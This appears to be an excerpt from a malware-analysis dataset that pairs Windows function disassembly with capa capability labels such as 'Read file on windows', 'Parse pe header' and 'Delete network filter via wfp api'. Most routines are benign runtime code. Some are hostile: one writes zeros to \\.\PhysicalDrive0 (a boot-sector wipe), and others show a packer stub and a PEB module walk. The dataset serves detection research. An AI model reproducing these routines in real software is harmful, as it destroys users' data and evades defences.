joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002250
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002282
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002282
nop word cs:[rax + rax]
jmp 0x180002280
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002358
mov rsi, r10
test r8b, r8b
je 0x180002370
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800022f0
test r9b, r9b
je 0x180002380
sub rsi, rcx
je 0x180002354
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002350
test ebp, ebp
jne 0x180002350
add rbx, 1
cmp rsi, rbx
jne 0x180002310
jmp 0x180002354
test ebp, ebp
jne 0x1800022dc
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002370
jmp 0x180002380
Function at 0x180003868
Capabilities:
Print debug messages

Disassembly:
test rcx, rcx
je 0x180003930
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rbx, rcx
lea rdi, [rax + 0x10]
call fcn.180001890
mov qword [rsp + 0x28], rdi
mov r9, rbx
and qword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
mov rsi, rax
mov rcx, qword [rax]
or rcx, 2
call fcn.180059a58
or ecx, 0xffffffff
test eax, eax
cmovs eax, ecx
test eax, eax
jns 0x1800038d3
lea rcx, str.Error_calculating_buffer_size.
call fcn.180001898
jmp 0x180003929
inc eax
movsxd rdi, eax
mov rcx, rdi
call fcn.18005b5ec
mov rbx, rax
test rax, rax
jne 0x1800038f1
lea rcx, str.Memory_allocation_failed.
jmp 0x1800038cc
mov rcx, qword [rsi]
lea rax, [rsp + 0x68]
mov r9, qword [rsp + 0x60]
or rcx, 2
mov qword [rsp + 0x28], rax
mov r8, rdi
and qword [rsp + 0x20], 0
mov rdx, rbx
call fcn.180059a58
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, rbx
call fcn.18005a654
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x180004020
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x18009d010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r12, r9
mov rbp, rdx
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor r13d, r13d
mov qword [r11 - 0x60], r13
mov qword [r11 - 0x48], 0xf
mov qword [r11 - 0x50], r13
mov byte [r11 - 0x60], r13b
mov r14d, r13d
mov ecx, 0x50
call fcn.1800283ec
mov rdi, rax
xor edx, edx
lea r8d, [rdx + 0x50]
mov rcx, rax
call fcn.180051b70
mov qword [rdi + 0x18], 0xf
or rsi, 0xffffffffffffffff
inc rsi
cmp byte [rsi + rbp], r13b
jne 0x180004094
mov rcx, rdi
cmp rsi, 0xf
ja 0x1800040bb
mov qword [rdi + 0x10], rsi
mov r8, rsi
mov rdx, rbp
call fcn.180051dd0
mov byte [rsi + rdi], r13b
jmp 0x1800040c6
mov r9, rbp
mov rdx, rsi
call fcn.1800125c8
mov qword [rdi + 0x20], r13
mov byte [rdi + 0x28], r13b
mov qword [rdi + 0x40], r13
mov qword [rdi + 0x48], r13
mov qword [rdi + 0x30], r13
mov qword [rdi + 0x38], r12
or esi, 0xffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
mov r9, rdi
lea r8, [0x180003af8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
mov edx, 0x2710
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180004137
mov rcx, qword [rdi + 0x48]
test rcx, rcx
je 0x180004128
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rdi + 0x40]
test rcx, rcx
je 0x180004137
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rdi + 0x28], r13b
je 0x18000415e
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x18000414f
mov rdx, qword [rdx]
lea rcx, [rsp + 0x38]
call fcn.18000f990
mov esi, 1
test r15, r15
je 0x18000416c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r14d
mov edx, r14d
call fcn.18000d4cc
mov rcx, rax
call fcn.180011798
cmp esi, 0xffffffff
jne 0x1800041a5
cmp r14d, 3
jg 0x180004198
lea ecx, [rsi + 0x65]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000406d
or r8d, 0xffffffff
lea rcx, [0x18008ef18]
jmp 0x1800041af
mov r8d, esi
lea rcx, [0x18008eee8]
mov rdx, rbp
call fcn.180003868
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180027e90
mov rbx, qword [rsp + 0xb0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180045b50
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x18002f906
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x18002f8e9
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x18002f8d4
Function at 0x18006c78c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x18006c7be
call fcn.18005cce8
mov dword [rax], 0x16
call fcn.18005b554
jmp 0x18006c8dd
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18006c8dd
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x18006c8dd
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x18006c7ed
lock or dword [rcx + 0x14], 0x10
jmp 0x18006c8dd
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x18006c801
call fcn.18006ce88
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.1800676d4
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.18006e110
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x18006c8cb
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x18006c896
mov rcx, rsi
call fcn.1800676d4
cmp eax, edi
je 0x18006c881
mov rcx, rsi
call fcn.1800676d4
cmp eax, 0xfffffffe
je 0x18006c881
mov rcx, rsi
call fcn.1800676d4
movsxd rbx, eax
lea r14, [0x1800a0a90]
mov rcx, rsi
sar rbx, 6
call fcn.1800676d4
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x18006c888
lea rdx, [0x18009d400]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18006c896
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x18006c8ba
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x18006c8ba
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x18006c8ba
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x18006c8e0
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x18006cc08
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18007b2c0
sub rsp, rax
mov rax, qword [0x18009d010]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1800676d4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18006cc57
mov rax, rbp
jmp 0x18006cd5f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xa0a90]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18006e8e8
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xa0a90]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18006cd5b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18006cd5b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18006e8e8
test rax, rax
js 0x18006cd5b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18006cd5b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18006cd4d
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18006cd4d
cmp byte [rcx], 0xd
jne 0x18006cd33
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18006cd42
cmp byte [rcx + 1], 0xa
jne 0x18006cd42
inc rcx
jmp 0x18006cd42
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x9d450]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18006cd15
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18006cd5f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180027e90
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18006dc64
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1800a0a90]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x18006dcc2
cmp word [rdx], r12w
jne 0x18006dcc2
or byte [rax + r8*8 + 0x38], cl
jmp 0x18006dcc8
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x18006de23
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x18006ddfe
lea r9, [rcx + 2]
cmp ax, r13w
je 0x18006dd01
mov rcx, r9
jmp 0x18006dd24
cmp r9, rdx
jae 0x18006dd3b
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x18006dce5
jmp 0x18006de23
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18006ddf8
cmp dword [rsp + 0x80], edi
je 0x18006ddf8
mov rdx, r14
lea r11, [0x1800a0a90]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x18006ddd1
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x18006dda4
mov word [rbx], r12w
jmp 0x18006de1f
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x18006ddad
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x18006de1f
cmp word [rsp + 0x70], r12w
jne 0x18006ddde
cmp rbx, rsi
je 0x18006dd9e
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.18006e8f0
cmp word [rsp + 0x70], r12w
je 0x18006de23
mov word [rbx], r13w
jmp 0x18006de1f
lea r11, [0x1800a0a90]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x18006de1b
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x18006de23
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180070110
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180070140
xor eax, eax
jmp 0x180070203
mov rbp, rbx
cmp word [rax], si
je 0x180070165
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18007014c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180070148
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180070060
movsxd r14, eax
test eax, eax
jne 0x1800701a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180070139
mov rcx, r14
call fcn.18006b3b0
mov rdi, rax
test rax, rax
jne 0x1800701bc
xor ecx, ecx
call fcn.1800694b0
jmp 0x180070198
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180070060
test eax, eax
jne 0x1800701ed
mov rcx, rdi
call fcn.1800694b0
jmp 0x1800701f7
xor ecx, ecx
call fcn.1800694b0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180070220
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1800702a7
mov rsi, rbx
cmp word [rax], bp
je 0x180070266
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x180070250
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x18007024c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.18006b3b0
mov rdi, rax
test rax, rax
je 0x180070294
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180051dd0
mov rbp, rdi
xor ecx, ecx
call fcn.1800694b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18007ab84
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18006e8f0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18006e8f0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18007acd4
cmp rax, 0xffffffffffffffff
je 0x18007acd4
xor edi, edi
test rbp, rbp
jle 0x18007ac7f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180069438
mov rbx, rax
test rax, rax
jne 0x18007ac0c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18007ac75
mov edx, 0x8000
mov ecx, r14d
call fcn.18007aa0c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18006ac9c
cmp eax, 0xffffffff
je 0x18007ac55
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18007ac1c
mov edx, r15d
mov ecx, r14d
call fcn.18007aa0c
jmp 0x18007ac75
cmp byte [rsi + 0x38], dil
je 0x18007ac6c
cmp dword [rsi + 0x34], 5
jne 0x18007ac6c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18007ac75
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800694b0
jmp 0x18007ace8
jns 0x18007ace8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18006e8f0
cmp rax, 0xffffffffffffffff
jne 0x18007aca0
cmp byte [rsi + 0x30], dil
je 0x18007ace8
mov edi, dword [rsi + 0x2c]
jmp 0x18007ace8
mov ecx, r14d
call fcn.180073758
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18007ace8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18007ace8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18007ace1
mov eax, dword [rsi + 0x2c]
jmp 0x18007ace6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18006e8f0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0xd80020
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xd8002d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xd8003d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xd80025
lea eax, [rcx + 1]
jmp 0xd8004b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xd8005e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xd80044
sub eax, 3
jb 0xd8007e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xd800cd
sar eax, 1
movsxd rbp, eax
jb 0xd800b4
jmp 0xd8008c
add ebx, ebx
jne 0xd8008a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xd800b4
inc ecx
add ebx, ebx
jne 0xd8009a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xd800b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0xd800ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xd8009c
add ecx, 2
jmp 0xd800b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00d7ffe2
jmp 0xd8002d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x425000
mov dl, 0x6d
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xd80119
cmp rsi, rcx
jae 0xd80121
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xd80100
cmp al, 0x8f
ja 0xd80100
cmp byte [rsi - 2], 0xf
je 0xd80106
sub al, 0xe8
cmp al, 1
ja 0xd800ea
cmp rsi, rcx
jae 0xd80121
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xd800f0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xd80121
lodsb al, byte [rsi]
jmp 0xd80100
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x973000]
mov eax, dword [rdi]
or eax, eax
je 0xd8017e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x980000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xd8012e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xd80178
mov qword [rbx], rax
add rbx, 8
jmp 0xd8014e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xd801c2
cmp al, 0xef
ja 0xd801aa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xd8018a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xd80199
mov eax, dword [rdi]
add rdi, 4
jmp 0xd80199
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xd80216
sub rsp, 0xffffffffffffff80
jmp 0x46eb00
Function at 0x140051314
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005135e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005135e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005135e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005135e
cmp dword [rcx + 0x84], 0xe
jbe 0x14005135e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140051360
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x30], 0
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 0x200
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400010c0
add rsp, 0x260
pop rbx
ret

Function at 0x140001988
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019d4
xor al, al
add rsp, 0x28
ret
Function at 0x11ef4
Capabilities:
Delete network filter via wfp api

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x00018100]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rbx, [rcx + 8]
mov r15d, edx
mov rdi, rcx
lea rdx, [r11 - 0x68]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeAcquireInStackQueuedSpinLock]
cmp dword [rdi], r15d
jne 0x1207c
mov rsi, qword [rdi + 0x120]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_KeReleaseInStackQueuedSpinLock]
xor edx, edx
mov rcx, rsi
call sub.fwpkclnt.sys_FwpmTransactionBegin0
mov ebp, eax
test eax, eax
js 0x12000
xor r12d, r12d
lea r13, [rdi + 0xcc]
lea r14, [rdi + 0x10c]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeAcquireInStackQueuedSpinLock]
lea rcx, [rsp + 0x20]
cmp dword [rdi], r15d
jne 0x1206c
movdqu xmm0, xmmword [r13 - 0x40]
movdqu xmm1, xmmword [r13]
mov ebx, dword [r14]
movdqu xmmword [rsp + 0x38], xmm0
movdqu xmmword [rsp + 0x48], xmm1
call qword [sym.imp.ntoskrnl.exe_KeReleaseInStackQueuedSpinLock]
test ebx, ebx
je 0x11fdb
lea rdx, [rsp + 0x48]
mov rcx, rsi
call sub.fwpkclnt.sys_FwpmFilterDeleteByKey0
test eax, eax
js 0x11ff4
lea rdx, [rsp + 0x38]
mov rcx, rsi
call sub.fwpkclnt.sys_FwpmCalloutDeleteByKey0
mov ebp, eax
test eax, eax
js 0x11ff4
inc r12d
add r14, 4
add r13, 0x10
lea rbx, [rdi + 8]
cmp r12d, 4
jb 0x11f76
test ebp, ebp
jns 0x12062
mov rcx, rsi
call sub.fwpkclnt.sys_FwpmTransactionAbort0
lea rbx, [rdi + 8]
xor ebp, ebp
lea rsi, [rdi + 0x10c]
lea r12, [rdi + 0x8c]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeAcquireInStackQueuedSpinLock]
cmp dword [rdi], r15d
jne 0x1207c
